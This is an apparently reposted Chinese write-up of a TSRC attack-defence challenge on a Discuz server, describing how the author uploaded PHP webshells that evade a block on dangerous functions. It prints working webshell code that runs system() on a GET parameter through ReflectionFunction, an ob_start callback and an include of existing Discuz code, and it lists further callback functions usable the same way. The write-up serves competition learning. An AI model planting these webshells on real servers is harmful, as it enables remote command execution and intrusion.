前一段时间有幸参加了由TSRC发起的一个挑战赛。目标环境运行着一个正常的discuz应用,并且存在一个上传接口,该接口允许上传任意文件, 但限制了大部分危险的PHP函数, 比如system、scandir、eval等。在服务器上放置了一个flag文件, 目标是通过上传的PHP文件找
前一段时间有幸参加了由TSRC发起的一个挑战赛。目标环境运行着一个正常的discuz应用,并且存在一个上传接口,该接口允许上传任意文件, 但限制了大部分危险的PHP函数, 比如system、scandir、eval等。在服务器上放置了一个flag文件, 目标是通过上传的PHP文件找到该flag文件。
毕竟这是一场比赛,而且如果排名考前,还有丰厚的奖励。根据规则, 相同的利用方式以第一个提交的算分。正所谓先下手为强,所以在挑战刚开始后,就马上拿出自己珍藏多年的秘密武器,——PHP反射,相关内容可参考:
http://cn2.php.net/manual/en/reflectionfunction.invokeargs.php。
简单使用方法如下:
1 2 3 4 | <span style= "color: #000000; font-weight: bold;" ><?php</span>
<span style= "color: #000088;" > $func </span> <span style= "color: #339933;" >=</span> <span style= "color: #000000; font-weight: bold;" > new </span> ReflectionFunction<span style= "color: #009900;" >(</span><span style= "color: #0000ff;" > "system" </span><span style= "color: #009900;" >)</span><span style= "color: #339933;" >;</span>
<span style= "color: #b1b100;" > echo </span> <span style= "color: #000088;" > $func </span><span style= "color: #339933;" >-></span><span style= "color: #004000;" >invokeArgs</span><span style= "color: #009900;" >(</span><span style= "color: #990000;" > array </span><span style= "color: #009900;" >(</span><span style= "color: #0000ff;" > "<span style=" color: #006699; font-weight: bold; ">$_GET[c]</span>" </span><span style= "color: #009900;" >)</span><span style= "color: #009900;" >)</span><span style= "color: #339933;" >;</span>
<span style= "color: #000000; font-weight: bold;" >?></span>
|
Copier après la connexion
上面的php代码等价于
1 2 3 | <span style= "color: #000000; font-weight: bold;" ><?php</span>
<span style= "color: #b1b100;" > echo </span> <span style= "color: #990000;" >system</span><span style= "color: #009900;" >(</span><span style= "color: #000088;" > $_GET </span><span style= "color: #009900;" >[</span>c<span style= "color: #009900;" >]</span><span style= "color: #009900;" >)</span><span style= "color: #339933;" >;</span>
<span style= "color: #000000; font-weight: bold;" >?></span>
|
Copier après la connexion
首战告捷!第一个shell上传成功,并非常顺利的在目标服务器找到flag文件。顺利拿到5分。
大招使完以后, 后面的日子就不好过了。
最开始想到的就是利用各种变形,快追平孙猴子的72般变化了。变了几天以后,还是没有进展。
此时开始反思,危险函数的调用检测是如何实现的?如果在函数的实现层做检测,不管怎么变形,都会殊途同归,继续变下去是没有任何意义的。
回到前面ReflectionFunction的利用,成功的执行了system函数,有力的说明访问system函数并非只有一条路可走。
除了反射外, php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.具体说明可参考:http://www.php.net/manual/en/function.ob-start.php
简单利用如下:
1 2 3 4 5 6 | <span style= "color: #000000; font-weight: bold;" ><?php</span>
<span style= "color: #000088;" > $cb </span><span style= "color: #339933;" >=</span> <span style= "color: #0000ff;" > 'system' </span><span style= "color: #339933;" >;</span>
<span style= "color: #990000;" >ob_start</span><span style= "color: #009900;" >(</span><span style= "color: #000088;" > $cb </span><span style= "color: #009900;" >)</span><span style= "color: #339933;" >;</span>
<span style= "color: #b1b100;" > echo </span> <span style= "color: #000088;" > $_GET </span><span style= "color: #009900;" >[</span>c<span style= "color: #009900;" >]</span><span style= "color: #339933;" >;</span>
<span style= "color: #990000;" >ob_end_flush</span><span style= "color: #009900;" >(</span><span style= "color: #009900;" >)</span><span style= "color: #339933;" >;</span>
<span style= "color: #000000; font-weight: bold;" >?></span>
|
Copier après la connexion
上面代码等价于
1 2 3 | <span style= "color: #000000; font-weight: bold;" ><?php</span>
<span style= "color: #990000;" >system</span><span style= "color: #009900;" >(</span><span style= "color: #000088;" > $_GET </span><span style= "color: #009900;" >[</span>c<span style= "color: #009900;" >]</span><span style= "color: #009900;" >)</span><span style= "color: #339933;" >;</span>
<span style= "color: #000000; font-weight: bold;" >?></span>
|
Copier après la connexion
这样,第二次成功绕过危险函数的检查,并成功执行命令。
php中支持callback的函数还有很多,比如
array_map,array_filter, array_reduce
usort(),uksort()
array_walk()等
比如,@BlackYe同学就使用了支持回调的array_diff_ukey
还有xml解析相关的多个函数也支持callback,只不过传递给回调函数的第一个参数为xml解析对象, 没有合适的利用场景。
前面利用PHP中两种不同的实现达到了调用system函数执行系统命令的目的,由于没有直接使用PHP中的system函数,从而绕过防护系统的检查,成功执行系统命令。
那还有没有第三种方法可以绕过呢?
要想绕过,必须弄清楚是如何实现的(或者说要是自己实现这样的一个系统,会采用什么样的方法)。
接下来就需要通过猜想,提出假设,并逐步验证自己的想法。
1. 为了便于操作和验证,前期做了一些准备。因为每次上传后的文件名是不同的,也就是利用上传在服务器上的固定目录创建几个包含常用功能的PHP脚本。大致包括:
1) copy.php 用于文件复制和移动;
2) sql.php 用于数据库操作;
3) read.php 用于读取文件内容, 主要用于确认上传的文件内容是否正确;
4) stat.php用于获取文件或目录的用户权限和读写权限;
5) shell.php 用于调用其他php函数。
2. 准备完这些工具以后, 开始猜测检测原理
疑问1:是否允许执行危险函数与文件所在目录有关呢?
因为上传后的文件所在目录是固定的, 所以首先猜想是否与目录有关。于是,利用先前上传的几个PHP工具, 在已正常运行WEB应用的目录下找到可写的目录, 并将上传的PHP文件移动到该目录, 结果以失败告终。
疑问2:是否设置了白名单,后续上传的文件都不允许执行危险的PHP函数?
将shell写入WEB应用已有的文件中。拿下后台, 并将shell写入到WEB应用已有的代码文件中. 结果还是失败了
疑问3:某些函数禁用了,已经搭建好的应用是否受影响呢?
对应用的代码做了一番审计,找到使用了被禁用的PHP函数的代码部分,发现功能并不受
影响。就是说服务器已有代码并没有经过修改且运行正常。而新上传或者被修改过的文件,危险函数就会被禁用
疑问4:区别在哪里?
用准备好的脚本stat.php列举了已有PHP文件和新上传PHP文件的文件权限,发现权限不同。
疑问5:服务器对PHP函数中的危险函数的检查,是否是判断调用这些函数的PHP文件属主?
方法一:
比如已安装WEB应用中的代码中存在b.php include a.php的代码,将shell写入a.php中,通过访问WEB应用b.php,
发现a.php中写入的shell代码并没有执行。
说明判断文件的属主是直接调用危险函数的文件
方法二:
通过上传入口,上传a.php, 在a.php中includeb.php, b.php是WEB应用已有的代码,并调用了危险函数(如system)。
利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | <span style= "color: #000000; font-weight: bold;" ><?php</span>
<span style= "color: #990000;" >define</span><span style= "color: #009900;" >(</span><span style= "color: #0000ff;" > 'IN_DISCUZ' </span><span style= "color: #339933;" >,</span> <span style= "color: #cc66cc;" >1</span><span style= "color: #009900;" >)</span><span style= "color: #339933;" >;</span>
<span style= "color: #990000;" >define</span><span style= "color: #009900;" >(</span><span style= "color: #0000ff;" > 'IN_MODCP' </span><span style= "color: #339933;" >,</span> <span style= "color: #cc66cc;" >1</span><span style= "color: #009900;" >)</span><span style= "color: #339933;" >;</span>
<span style= "color: #990000;" >define</span><span style= "color: #009900;" >(</span><span style= "color: #0000ff;" > 'DISCUZ_ROOT' </span><span style= "color: #339933;" >,</span> <span style= "color: #0000ff;" > '/tmp/' </span><span style= "color: #009900;" >)</span><span style= "color: #339933;" >;</span>
<span style= "color: #990000;" > chdir </span><span style= "color: #009900;" >(</span><span style= "color: #0000ff;" > '../upload/' </span><span style= "color: #009900;" >)</span><span style= "color: #339933;" >;</span>
<span style= "color: #000088;" > $_G </span><span style= "color: #009900;" >[</span><span style= "color: #0000ff;" > 'cache' </span><span style= "color: #009900;" >]</span><span style= "color: #009900;" >[</span><span style= "color: #0000ff;" > 'forums' </span><span style= "color: #009900;" >]</span> <span style= "color: #339933;" >=</span> <span style= "color: #cc66cc;" >1</span><span style= "color: #339933;" >;</span>
<span style= "color: #000088;" > $_G </span><span style= "color: #009900;" >[</span><span style= "color: #0000ff;" > 'page' </span><span style= "color: #009900;" >]</span> <span style= "color: #339933;" >=</span> <span style= "color: #cc66cc;" >1</span><span style= "color: #339933;" >;</span>
<span style= "color: #000088;" > $_GET </span><span style= "color: #009900;" >[</span><span style= "color: #0000ff;" > 'keyword' </span><span style= "color: #009900;" >]</span><span style= "color: #339933;" >=</span><span style= "color: #0000ff;" > "xxxxxx" </span><span style= "color: #339933;" >;</span>
<span style= "color: #000088;" > $cpscript </span><span style= "color: #339933;" >=</span><span style= "color: #0000ff;" > "" </span><span style= "color: #339933;" >;</span>
<span style= "color: #000000; font-weight: bold;" > function </span> lang<span style= "color: #009900;" >(</span><span style= "color: #000088;" > $in </span><span style= "color: #009900;" >)</span><span style= "color: #009900;" >{</span>
<span style= "color: #b1b100;" > return </span> <span style= "color: #000088;" > $in </span><span style= "color: #339933;" >;</span>
<span style= "color: #009900;" >}</span>
<span style= "color: #000000; font-weight: bold;" > function </span> multi<span style= "color: #009900;" >(</span><span style= "color: #000088;" > $in1 </span><span style= "color: #339933;" >,</span> <span style= "color: #000088;" > $in2 </span><span style= "color: #339933;" >,</span> <span style= "color: #000088;" > $in3 </span><span style= "color: #339933;" >,</span> <span style= "color: #000088;" > $in4 </span><span style= "color: #009900;" >)</span><span style= "color: #009900;" >{</span>
<span style= "color: #b1b100;" > return </span> <span style= "color: #009900; font-weight: bold;" >null</span><span style= "color: #339933;" >;</span>
<span style= "color: #009900;" >}</span>
<span style= "color: #000000; font-weight: bold;" > function </span> dhtmlspecialchars<span style= "color: #009900;" >(</span><span style= "color: #000088;" > $in </span><span style= "color: #009900;" >)</span> <span style= "color: #009900;" >{</span>
<span style= "color: #b1b100;" > return </span> <span style= "color: #000088;" > $in </span><span style= "color: #339933;" >;</span>
<span style= "color: #009900;" >}</span>
<span style= "color: #b1b100;" > include </span> <span style= "color: #0000ff;" > "source/include/modcp/modcp_log.php" </span><span style= "color: #339933;" >;</span>
<span style= "color: #000088;" > $dir </span><span style= "color: #339933;" >=</span><span style= "color: #000088;" > $_GET </span><span style= "color: #009900;" >[</span><span style= "color: #990000;" >dir</span><span style= "color: #009900;" >]</span><span style= "color: #339933;" >;</span>
<span style= "color: #000088;" > $ext </span><span style= "color: #339933;" >=</span><span style= "color: #000088;" > $_GET </span><span style= "color: #009900;" >[</span>ext<span style= "color: #009900;" >]</span><span style= "color: #339933;" >;</span>
<span style= "color: #990000;" >var_dump</span><span style= "color: #009900;" >(</span>get_log_files<span style= "color: #009900;" >(</span><span style= "color: #000088;" > $dir </span><span style= "color: #339933;" >,</span> <span style= "color: #000088;" > $ext </span><span style= "color: #009900;" >)</span><span style= "color: #009900;" >)</span><span style= "color: #339933;" >;</span>
<span style= "color: #000000; font-weight: bold;" >?></span>
|
Copier après la connexion
执行成功,再一次拿到5分。
以上是本人参加这次挑战赛作为攻方如何绕过防御的一些经验分享,有不足的地方请见谅,如有任意疑问或建议欢迎联系TSRC白帽子“雪人”切磋交流。期待未来有更多的机会参与这种对抗赛。
本文出自:http://yangqijun.com, 原文地址:http://yangqijun.com/archives/298, 感谢原作者分享。